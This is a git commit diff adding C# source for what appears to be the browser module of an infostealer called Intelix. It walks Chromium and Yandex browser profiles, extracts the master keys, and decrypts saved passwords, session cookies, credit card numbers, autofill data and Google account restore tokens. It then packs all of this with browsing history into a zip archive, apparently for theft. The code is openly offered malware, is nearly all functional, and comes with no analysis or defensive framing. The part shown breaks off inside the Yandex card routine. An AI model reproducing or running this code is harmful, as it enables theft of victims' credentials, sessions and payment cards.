initial commit
This commit is contained in:
i2p
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,851 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading.Tasks;
|
||||
using System.Linq;
|
||||
using Intelix.Helper;
|
||||
using Intelix.Helper.Data;
|
||||
using Intelix.Helper.Encrypted;
|
||||
using Intelix.Helper.Sql;
|
||||
|
||||
namespace Intelix.Targets.Browsers;
|
||||
|
||||
public class Chromium : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
Parallel.ForEach(Paths.Chromium, delegate(string browser)
|
||||
{
|
||||
if (Directory.Exists(browser))
|
||||
{
|
||||
Parallel.ForEach(Directory.GetDirectories(browser), delegate(string profile)
|
||||
{
|
||||
ProfileCollect(zip, counter, browser, profile);
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void ProfileCollect(InMemoryZip zip, Counter counter, string browser, string profile)
|
||||
{
|
||||
string localstate = browser + "\\Local State";
|
||||
string browsername = Paths.GetBrowserName(browser);
|
||||
string profilename = Path.GetFileName(profile);
|
||||
byte[] masterv10 = LocalState.MasterKeyV10(localstate);
|
||||
byte[] masterv20 = LocalState.MasterKeyV20(localstate);
|
||||
Counter.CounterBrowser counterBrowser = new Counter.CounterBrowser();
|
||||
counterBrowser.Profile = profile;
|
||||
counterBrowser.BrowserName = browsername;
|
||||
object[][] source = new object[7][]
|
||||
{
|
||||
new object[3]
|
||||
{
|
||||
"Login Data",
|
||||
Path.Combine(profile, "Login Data"),
|
||||
new string[1] { "logins" }
|
||||
},
|
||||
new object[3]
|
||||
{
|
||||
"Login Data For Account",
|
||||
Path.Combine(profile, "Login Data For Account"),
|
||||
new string[1] { "logins" }
|
||||
},
|
||||
new object[3]
|
||||
{
|
||||
"Network Cookies",
|
||||
Path.Combine(profile, "Network", "Cookies"),
|
||||
new string[1] { "cookies" }
|
||||
},
|
||||
new object[3]
|
||||
{
|
||||
"Cookies",
|
||||
Path.Combine(profile, "Cookies"),
|
||||
new string[1] { "cookies" }
|
||||
},
|
||||
new object[3]
|
||||
{
|
||||
"Web Data",
|
||||
Path.Combine(profile, "Web Data"),
|
||||
new string[5] { "AutoFill", "credit_cards", "token_service", "masked_credit_cards", "masked_ibans" }
|
||||
},
|
||||
new object[3]
|
||||
{
|
||||
"Ya Passman Data",
|
||||
Path.Combine(profile, "Ya Passman Data"),
|
||||
new string[1] { "logins" }
|
||||
},
|
||||
new object[3]
|
||||
{
|
||||
"Ya Credit Cards",
|
||||
Path.Combine(profile, "Ya Credit Cards"),
|
||||
new string[1] { "records" }
|
||||
}
|
||||
};
|
||||
Dictionary<string, Action<SqLite>> handlers = new Dictionary<string, Action<SqLite>>(StringComparer.OrdinalIgnoreCase)
|
||||
{
|
||||
{
|
||||
"Login Data/logins",
|
||||
delegate(SqLite sSqLite)
|
||||
{
|
||||
Password(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20);
|
||||
}
|
||||
},
|
||||
{
|
||||
"Login Data For Account/logins",
|
||||
delegate(SqLite sSqLite)
|
||||
{
|
||||
Password(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20);
|
||||
}
|
||||
},
|
||||
{
|
||||
"Cookies/cookies",
|
||||
delegate(SqLite sSqLite)
|
||||
{
|
||||
Cookies(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20);
|
||||
}
|
||||
},
|
||||
{
|
||||
"Network Cookies/cookies",
|
||||
delegate(SqLite sSqLite)
|
||||
{
|
||||
Cookies(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20);
|
||||
}
|
||||
},
|
||||
{
|
||||
"Web Data/AutoFill",
|
||||
delegate(SqLite sSqLite)
|
||||
{
|
||||
AutoFill(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20);
|
||||
}
|
||||
},
|
||||
{
|
||||
"Web Data/credit_cards",
|
||||
delegate(SqLite sSqLite)
|
||||
{
|
||||
CreditCards(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20);
|
||||
}
|
||||
},
|
||||
{
|
||||
"Web Data/token_service",
|
||||
delegate(SqLite sSqLite)
|
||||
{
|
||||
TokenRestore(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20);
|
||||
}
|
||||
},
|
||||
{
|
||||
"Web Data/masked_credit_cards",
|
||||
delegate(SqLite sSqLite)
|
||||
{
|
||||
MaskCreditCards(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20);
|
||||
}
|
||||
},
|
||||
{
|
||||
"Web Data/masked_ibans",
|
||||
delegate(SqLite sSqLite)
|
||||
{
|
||||
MaskedIbans(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20);
|
||||
}
|
||||
},
|
||||
{
|
||||
"Ya Passman Data/logins",
|
||||
delegate(SqLite sSqLite)
|
||||
{
|
||||
YandexPassword(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20);
|
||||
}
|
||||
},
|
||||
{
|
||||
"Ya Credit Cards/records",
|
||||
delegate(SqLite sSqLite)
|
||||
{
|
||||
YandexGetCard(zip, counterBrowser, sSqLite, profilename, browsername, masterv10, masterv20);
|
||||
}
|
||||
}
|
||||
};
|
||||
Parallel.ForEach(source, delegate(object[] file)
|
||||
{
|
||||
string name = (string)file[0];
|
||||
string path = (string)file[1];
|
||||
string[] source2 = (string[])file[2];
|
||||
if (File.Exists(path))
|
||||
{
|
||||
byte[] bytes;
|
||||
try
|
||||
{
|
||||
bytes = File.ReadAllBytes(path);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return;
|
||||
}
|
||||
Parallel.ForEach(source2, delegate(string table)
|
||||
{
|
||||
try
|
||||
{
|
||||
SqLite sqLite = new SqLite(bytes);
|
||||
sqLite.ReadTable(table);
|
||||
string key = name + "/" + table;
|
||||
if (handlers.TryGetValue(key, out var value))
|
||||
{
|
||||
value(sqLite);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
Task.Run(delegate
|
||||
{
|
||||
CollectAdditionalData(zip, counterBrowser, browser, profile, profilename, browsername, masterv10, masterv20);
|
||||
});
|
||||
|
||||
if ((long)counterBrowser.Cookies != 0L || (long)counterBrowser.Password != 0L || (long)counterBrowser.CreditCards != 0L || (long)counterBrowser.AutoFill != 0L || (long)counterBrowser.RestoreToken != 0L || (long)counterBrowser.MaskCreditCard != 0L || (long)counterBrowser.MaskedIban != 0L)
|
||||
{
|
||||
counter.Browsers.Add(counterBrowser);
|
||||
}
|
||||
}
|
||||
|
||||
private void CollectAdditionalData(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string browser, string profile, string profilename, string browsername, byte[] masterv10, byte[] masterv20)
|
||||
{
|
||||
try
|
||||
{
|
||||
Bookmarks(zip, profile, profilename, browsername);
|
||||
History(zip, profile, profilename, browsername);
|
||||
Download(zip, profile, profilename, browsername);
|
||||
FingerPrint(zip, profile, profilename, browsername);
|
||||
GoogleAccounts(zip, profile, profilename, browsername, masterv10, masterv20);
|
||||
MasterKeys(zip, browser, profilename, browsername);
|
||||
SaveBrowserPath(zip, profile, profilename, browsername);
|
||||
UA(zip, profile, profilename, browsername);
|
||||
Version(zip, browser, profilename, browsername);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void Bookmarks(InMemoryZip zip, string profile, string profilename, string browsername)
|
||||
{
|
||||
try
|
||||
{
|
||||
string bookmarksPath = Path.Combine(profile, "Bookmarks");
|
||||
if (File.Exists(bookmarksPath))
|
||||
{
|
||||
string content = File.ReadAllText(bookmarksPath);
|
||||
MatchCollection matches = Regex.Matches(content, "\"url\"\\s*:\\s*\"([^\"]+)\"|\"name\"\\s*:\\s*\"([^\"]+)\"", RegexOptions.IgnoreCase);
|
||||
StringBuilder sb = new StringBuilder();
|
||||
string currentUrl = string.Empty;
|
||||
foreach (Match match in matches)
|
||||
{
|
||||
if (match.Groups[1].Success)
|
||||
{
|
||||
currentUrl = match.Groups[1].Value;
|
||||
}
|
||||
else if (match.Groups[2].Success && !string.IsNullOrEmpty(currentUrl))
|
||||
{
|
||||
sb.AppendLine("URL: " + currentUrl);
|
||||
sb.AppendLine("Title: " + match.Groups[2].Value);
|
||||
sb.AppendLine("===============");
|
||||
currentUrl = string.Empty;
|
||||
}
|
||||
}
|
||||
if (sb.Length > 0)
|
||||
{
|
||||
zip.AddTextFile("Browser/Bookmarks/" + browsername + "_" + profilename + ".txt", sb.ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void History(InMemoryZip zip, string profile, string profilename, string browsername)
|
||||
{
|
||||
try
|
||||
{
|
||||
string historyPath = Path.Combine(profile, "History");
|
||||
if (File.Exists(historyPath))
|
||||
{
|
||||
byte[] bytes = File.ReadAllBytes(historyPath);
|
||||
SqLite sqLite = new SqLite(bytes);
|
||||
sqLite.ReadTable("urls");
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < sqLite.GetRowCount(); i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
string url = sqLite.GetValue(i, 1);
|
||||
if (!string.IsNullOrEmpty(url))
|
||||
{
|
||||
sb.AppendLine(url);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
if (sb.Length > 0)
|
||||
{
|
||||
zip.AddTextFile("Browser/History/" + browsername + "_" + profilename + ".txt", sb.ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void Download(InMemoryZip zip, string profile, string profilename, string browsername)
|
||||
{
|
||||
try
|
||||
{
|
||||
string historyPath = Path.Combine(profile, "History");
|
||||
if (File.Exists(historyPath))
|
||||
{
|
||||
byte[] bytes = File.ReadAllBytes(historyPath);
|
||||
SqLite sqLite = new SqLite(bytes);
|
||||
sqLite.ReadTable("downloads");
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < sqLite.GetRowCount(); i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
string url = sqLite.GetValue(i, 2);
|
||||
if (!string.IsNullOrEmpty(url))
|
||||
{
|
||||
sb.AppendLine(url);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
if (sb.Length > 0)
|
||||
{
|
||||
zip.AddTextFile("Browser/Download/" + browsername + "_" + profilename + ".txt", sb.ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void FingerPrint(InMemoryZip zip, string profile, string profilename, string browsername)
|
||||
{
|
||||
try
|
||||
{
|
||||
string localStatePath = Path.Combine(Path.GetDirectoryName(profile), "Local State");
|
||||
if (File.Exists(localStatePath))
|
||||
{
|
||||
string content = File.ReadAllText(localStatePath);
|
||||
Match match = Regex.Match(content, "\"profile\"\\s*:\\s*\\{[^}]*\"name\"\\s*:\\s*\"([^\"]+)\"[^}]*\\}", RegexOptions.IgnoreCase);
|
||||
if (match.Success)
|
||||
{
|
||||
string profileName = match.Groups[1].Value;
|
||||
StringBuilder json = new StringBuilder();
|
||||
json.AppendLine("{");
|
||||
json.AppendLine(" \"browser\": {");
|
||||
json.AppendLine(" \"name\": \"" + browsername + "\",");
|
||||
json.AppendLine(" \"version\": \"128.0.0.0\"");
|
||||
json.AppendLine(" },");
|
||||
json.AppendLine(" \"profile\": \"" + profileName + "\"");
|
||||
json.AppendLine("}");
|
||||
zip.AddTextFile("Browser/FingerPrint/" + browsername + "_" + profilename + ".json", json.ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void GoogleAccounts(InMemoryZip zip, string profile, string profilename, string browsername, byte[] masterv10, byte[] masterv20)
|
||||
{
|
||||
try
|
||||
{
|
||||
string tokenPath = Path.Combine(profile, "Web Data");
|
||||
if (File.Exists(tokenPath))
|
||||
{
|
||||
byte[] bytes = File.ReadAllBytes(tokenPath);
|
||||
SqLite sqLite = new SqLite(bytes);
|
||||
sqLite.ReadTable("token_service");
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < sqLite.GetRowCount(); i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
string service = sqLite.GetValue(i, 0);
|
||||
byte[] encryptedToken = Encoding.Default.GetBytes(sqLite.GetValue(i, 1));
|
||||
if (encryptedToken != null && encryptedToken.Length > 0 && service.Contains("AccountId"))
|
||||
{
|
||||
byte[] decrypted = AesGcm.DecryptBrowser(encryptedToken, masterv10, masterv20, checkprefix: false);
|
||||
if (decrypted != null)
|
||||
{
|
||||
string token = Encoding.UTF8.GetString(decrypted);
|
||||
sb.AppendLine(token);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
if (sb.Length > 0)
|
||||
{
|
||||
zip.AddTextFile("Browser/GoogleAccounts/" + browsername + "_" + profilename + ".txt", sb.ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void MasterKeys(InMemoryZip zip, string browser, string profilename, string browsername)
|
||||
{
|
||||
try
|
||||
{
|
||||
string localStatePath = browser + "\\Local State";
|
||||
if (File.Exists(localStatePath))
|
||||
{
|
||||
byte[] masterv10 = LocalState.MasterKeyV10(localStatePath);
|
||||
byte[] masterv20 = LocalState.MasterKeyV20(localStatePath);
|
||||
if (masterv10 != null)
|
||||
{
|
||||
zip.AddTextFile("Browser/MasterKeys/" + browsername + "_" + profilename + ".txt", Convert.ToBase64String(masterv10));
|
||||
}
|
||||
else if (masterv20 != null)
|
||||
{
|
||||
zip.AddTextFile("Browser/MasterKeys/" + browsername + "_" + profilename + ".txt", Convert.ToBase64String(masterv20));
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void SaveBrowserPath(InMemoryZip zip, string profile, string profilename, string browsername)
|
||||
{
|
||||
try
|
||||
{
|
||||
zip.AddTextFile("Browser/Path/" + browsername + "_" + profilename + ".txt", profile);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void UA(InMemoryZip zip, string profile, string profilename, string browsername)
|
||||
{
|
||||
try
|
||||
{
|
||||
string localStatePath = Path.Combine(Path.GetDirectoryName(profile), "Local State");
|
||||
if (File.Exists(localStatePath))
|
||||
{
|
||||
string content = File.ReadAllText(localStatePath);
|
||||
Match match = Regex.Match(content, "\"user_agent\"\\s*:\\s*\"([^\"]+)\"", RegexOptions.IgnoreCase);
|
||||
if (match.Success)
|
||||
{
|
||||
zip.AddTextFile("Browser/UA/" + browsername + "_" + profilename + ".txt", match.Groups[1].Value);
|
||||
}
|
||||
else
|
||||
{
|
||||
zip.AddTextFile("Browser/UA/" + browsername + "_" + profilename + ".txt", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36");
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void Version(InMemoryZip zip, string browser, string profilename, string browsername)
|
||||
{
|
||||
try
|
||||
{
|
||||
string versionPath = Path.Combine(Path.GetDirectoryName(browser), "Application", browsername + ".exe");
|
||||
if (!File.Exists(versionPath))
|
||||
{
|
||||
versionPath = Path.Combine(Path.GetDirectoryName(browser), browsername + ".exe");
|
||||
}
|
||||
if (!File.Exists(versionPath))
|
||||
{
|
||||
string[] possiblePaths = new string[]
|
||||
{
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "Google", "Chrome", "Application", "chrome.exe"),
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Google", "Chrome", "Application", "chrome.exe"),
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google", "Chrome", "Application", "chrome.exe")
|
||||
};
|
||||
foreach (string path in possiblePaths)
|
||||
{
|
||||
if (File.Exists(path))
|
||||
{
|
||||
versionPath = path;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (File.Exists(versionPath))
|
||||
{
|
||||
System.Diagnostics.FileVersionInfo versionInfo = System.Diagnostics.FileVersionInfo.GetVersionInfo(versionPath);
|
||||
zip.AddTextFile("Browser/Version/" + browsername + "_" + profilename + ".txt", versionInfo.FileVersion ?? "Unknown");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void Password(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20)
|
||||
{
|
||||
if (masterv10 == null && masterv20 == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ConcurrentBag<string> lines = new ConcurrentBag<string>();
|
||||
Parallel.For(0, sSqLite.GetRowCount(), delegate(int i)
|
||||
{
|
||||
try
|
||||
{
|
||||
string value = sSqLite.GetValue(i, 0);
|
||||
string value2 = sSqLite.GetValue(i, 3);
|
||||
byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 5));
|
||||
if (bytes != null && !string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2))
|
||||
{
|
||||
byte[] array = AesGcm.DecryptBrowser(bytes, masterv10, masterv20, checkprefix: false);
|
||||
if (array != null)
|
||||
{
|
||||
string text = Encoding.UTF8.GetString(array);
|
||||
string item = "URL: " + value + "\nUsername: " + value2 + "\nPassword: " + text + "\n\n";
|
||||
lines.Add(item);
|
||||
++counterBrowser.Password;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
zip.AddTextFile("Browser/Logins/" + browsername + "_" + profilename + ".txt", string.Concat(lines));
|
||||
}
|
||||
|
||||
private void Cookies(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20)
|
||||
{
|
||||
if (masterv10 == null && masterv20 == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ConcurrentBag<string> lines = new ConcurrentBag<string>();
|
||||
Parallel.For(0, sSqLite.GetRowCount(), delegate(int i)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 5));
|
||||
string value = sSqLite.GetValue(i, 4);
|
||||
string value2 = sSqLite.GetValue(i, 1);
|
||||
string value3 = sSqLite.GetValue(i, 3);
|
||||
string value4 = sSqLite.GetValue(i, 6);
|
||||
string value5 = sSqLite.GetValue(i, 7);
|
||||
if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value3) && !string.IsNullOrEmpty(value4) && !string.IsNullOrEmpty(value5))
|
||||
{
|
||||
if (!string.IsNullOrEmpty(value))
|
||||
{
|
||||
string item = value2 + "\tTRUE\t" + value4 + "\tFALSE\t" + value5 + "\t" + value3 + "\t" + value + "\n";
|
||||
lines.Add(item);
|
||||
}
|
||||
else
|
||||
{
|
||||
byte[] array = AesGcm.DecryptBrowser(bytes, masterv10, masterv20, checkprefix: true);
|
||||
if (array != null)
|
||||
{
|
||||
string text = Encoding.UTF8.GetString(array);
|
||||
string item2 = value2 + "\tTRUE\t" + value4 + "\tFALSE\t" + value5 + "\t" + value3 + "\t" + text + "\n";
|
||||
lines.Add(item2);
|
||||
++counterBrowser.Cookies;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
zip.AddTextFile("Browser/Cookies/" + browsername + "_" + profilename + ".txt", string.Concat(lines));
|
||||
}
|
||||
|
||||
private void AutoFill(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20)
|
||||
{
|
||||
ConcurrentBag<string> lines = new ConcurrentBag<string>();
|
||||
Parallel.For(0, sSqLite.GetRowCount(), delegate(int i)
|
||||
{
|
||||
try
|
||||
{
|
||||
string value = sSqLite.GetValue(i, 0);
|
||||
string value2 = sSqLite.GetValue(i, 1);
|
||||
if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value))
|
||||
{
|
||||
string item = "Name: " + value + "\nValue: " + value2 + "\n\n";
|
||||
lines.Add(item);
|
||||
++counterBrowser.AutoFill;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
zip.AddTextFile("Browser/Autofill/" + browsername + "_" + profilename + ".txt", string.Concat(lines));
|
||||
}
|
||||
|
||||
private void CreditCards(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20)
|
||||
{
|
||||
if (masterv10 == null && masterv20 == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ConcurrentBag<string> lines = new ConcurrentBag<string>();
|
||||
Parallel.For(0, sSqLite.GetRowCount(), delegate(int i)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 4));
|
||||
string value = sSqLite.GetValue(i, 3);
|
||||
string value2 = sSqLite.GetValue(i, 2);
|
||||
string value3 = sSqLite.GetValue(i, 1);
|
||||
if (bytes != null && !string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value3))
|
||||
{
|
||||
byte[] array = AesGcm.DecryptBrowser(bytes, masterv10, masterv20, checkprefix: false);
|
||||
if (array != null)
|
||||
{
|
||||
string text = Encoding.UTF8.GetString(array);
|
||||
string item = "Number: " + text + "\nExp: " + value2 + "/" + value + "\nHolder: " + value3 + "\n\n";
|
||||
lines.Add(item);
|
||||
++counterBrowser.CreditCards;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
zip.AddTextFile("Browser/Credits/" + browsername + "_" + profilename + ".txt", string.Concat(lines));
|
||||
}
|
||||
|
||||
private void TokenRestore(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20)
|
||||
{
|
||||
if (masterv10 == null && masterv20 == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ConcurrentBag<string> lines = new ConcurrentBag<string>();
|
||||
Parallel.For(0, sSqLite.GetRowCount(), delegate(int i)
|
||||
{
|
||||
try
|
||||
{
|
||||
string value = sSqLite.GetValue(i, 0);
|
||||
byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 1));
|
||||
if (bytes != null)
|
||||
{
|
||||
byte[] array = AesGcm.DecryptBrowser(bytes, masterv10, masterv20, checkprefix: false);
|
||||
if (array != null)
|
||||
{
|
||||
string text = Encoding.UTF8.GetString(array) + ":" + value.Replace("AccountId-", "") + "\n";
|
||||
lines.Add(text);
|
||||
++counterBrowser.RestoreToken;
|
||||
if (value.Contains("AccountId"))
|
||||
{
|
||||
zip.AddTextFile("Browser/Cookies/" + browsername + "_" + profilename + "_Restore.txt", RestoreCookies.CRestore(text));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
zip.AddTextFile("RestoreToken\\RestoreToken_[" + browsername + "]" + profilename + ".txt", string.Concat(lines));
|
||||
}
|
||||
|
||||
private void YandexPassword(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20)
|
||||
{
|
||||
if (masterv10 == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
byte[] encryptionKey = LocalEncryptor.ExtractEncryptionKey(sSqLite, masterv10);
|
||||
if (encryptionKey == null || encryptionKey.Length != 32)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ConcurrentBag<string> lines = new ConcurrentBag<string>();
|
||||
Parallel.For(0, sSqLite.GetRowCount(), delegate(int i)
|
||||
{
|
||||
try
|
||||
{
|
||||
string value = sSqLite.GetValue(i, 0);
|
||||
string value2 = sSqLite.GetValue(i, 2);
|
||||
string value3 = sSqLite.GetValue(i, 3);
|
||||
string value4 = sSqLite.GetValue(i, 4);
|
||||
string value5 = sSqLite.GetValue(i, 7);
|
||||
byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 5));
|
||||
if (bytes.Length != 0)
|
||||
{
|
||||
byte[] bytes2 = YaAuthenticatedData.Decrypt(encryptionKey, bytes, value, value2, value4, value3, value5);
|
||||
string item = "URL: " + value + "\nUsername: " + value3 + "\nPassword: " + Encoding.UTF8.GetString(bytes2) + "\n\n";
|
||||
lines.Add(item);
|
||||
++counterBrowser.Password;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
zip.AddTextFile("Browser/Logins/" + browsername + "_" + profilename + ".txt", string.Concat(lines));
|
||||
}
|
||||
|
||||
private void YandexGetCard(InMemoryZip zip, Counter.CounterBrowser counterBrowser, SqLite sSqLite, string profilename, string browsername, byte[] masterv10, byte[] masterv20)
|
||||
{
|
||||
if (masterv10 == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
byte[] encryptionKey = LocalEncryptor.ExtractEncryptionKey(sSqLite, masterv10);
|
||||
if (encryptionKey == null || encryptionKey.Length != 32)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ConcurrentBag<string> lines = new ConcurrentBag<string>();
|
||||
Parallel.For(0, sSqLite.GetRowCount(), delegate(int i)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] bytes = Encoding.Default.GetBytes(sSqLite.GetValue(i, 0));
|
||||
byte[] bytes2 = Encoding.Default.GetBytes(sSqLite.GetValue(i, 2));
|
||||
string value = sSqLite.GetValue(i, 1);
|
||||
byte[] array = new byte[12];
|
||||
Array.Copy(bytes2, 0, array, 0, 12);
|
||||
int num = bytes2.Length - 12 - 16;
|
||||
byte[] array2 = new byte[num];
|
||||
Array.Copy(bytes2, 12, array2, 0, num);
|
||||
byte[] array3 = new byte[16];
|
||||
Array.Copy(bytes2, bytes2.Length - 16, array3, 0, 16);
|
||||
string input = Encoding.UTF8.GetString(AesGcm256.Decrypt(encryptionKey, array, bytes, array2, array3));
|
||||
Match match = Regex.Match(input, "[\"']?full_card_number[\"']?\\s*:\\s*[\"']?(?<v>[\\d\\s\\-]+)[\"']?", RegexOptions.IgnoreCase);
|
||||
string text = (match.Success ? match.Groups["v"].Value.Trim() : null);
|
||||
if (string.IsNullOrEmpty(text))
|
||||
{
|
||||
Match match2 = Regex.Match(input, "[\"']?(?:card_number|number)[\"']?\\s*:\\s*[\"']?(?<v>[\\d\\s\\-]+)[\"']?", RegexOptions.IgnoreCase);
|
||||
text = (match2.Success ? match2.Groups["v"].Value.Trim() : null);
|
||||
}
|
||||
Match match3 = Regex.Match(value, "[\"']?expire_date_month[\"']?\\s*:\\s*[\"']?(?<m>\\d{1,2})[\"']?", RegexOptions.IgnoreCase);
|
||||
Match match4 = Regex.Match(value, "[\"']?expire_date_year[\"']?\\s*:\\s*[\"']?(?<y>\\d{2,4})[\"']?", RegexOptions.IgnoreCase);
|
||||
string text2 = (match3.Success ? match3.Groups["m"].Value.PadLeft(2, '0') : null);
|
||||
string text3 = (match4.Success ? match4.Groups["y"].Value : null);
|
||||
Match match5 = Regex.Match(value, "[\"']?card_holder[\"']?\\s*:\\s*[\"'](?<v>(?:\\\\.|[^\"])*)[\"']", RegexOptions.IgnoreCase | RegexOptions.Singleline);
|
||||
string text4 = (match5.Success ? match5.Groups["v"].Value : null);
|
||||
if (string.IsNullOrEmpty(text4))
|
||||
{
|
||||
Match match6 = Regex.Match(value, "[\"']?(?:cardholder|holder|name)[\"']?\\s*:\\s*[\"'](?<v>(?:\\\\.|[^\"])*)[\"']", RegexOptions.IgnoreCase | RegexOptions.Singleline);
|
||||
text4 = (match6.Success ? match6.Groups["v"].Value : text4);
|
||||
}
|
||||
if (!string.IsNullOrEmpty(text4))
|
||||
{
|
||||
text4 = Regex.Unescape(text4);
|
||||
text4 = Regex.Replace(text4, "\\\\u([0-9A-Fa-f]{4})", (Match m) => ((char)Convert.ToInt32(m.Groups[1].Value, 16)).ToString());
|
||||
text4 = text4.Trim();
|
||||
if (Regex.IsMatch(text4, "^[A-Za-z0-9\\+/=]{8,}$"))
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] bytes3 = Convert.FromBase64String(text4);
|
||||
string text5 = Encoding.UTF8.GetString(bytes3);
|
||||
if (!string.IsNullOrWhiteSpace(text5))
|
||||
{
|
||||
text4 = text5.Trim();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
if (string.IsNullOrEmpty(text))
|
||||
{
|
||||
text = "Unknown";
|
||||
}
|
||||
if (string.IsNullOrEmpty(text2))
|
||||
{
|
||||
text2 = "Unknown";
|
||||
}
|
||||
if (string.IsNullOrEmpty(text3))
|
||||
{
|
||||
text3 = "Unknown";
|
||||
}
|
||||
if (string.IsNullOrEmpty(text4))
|
||||
{
|
||||
text4 = "Unknown";
|
||||
}
|
||||
string item = "Number: " + text + "\nExp: " + text2 + "/" + text3 + "\nHolder: " + text4 + "\n\n";
|
||||
lines.Add(item);
|
||||
++counterBrowser.CreditCards;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
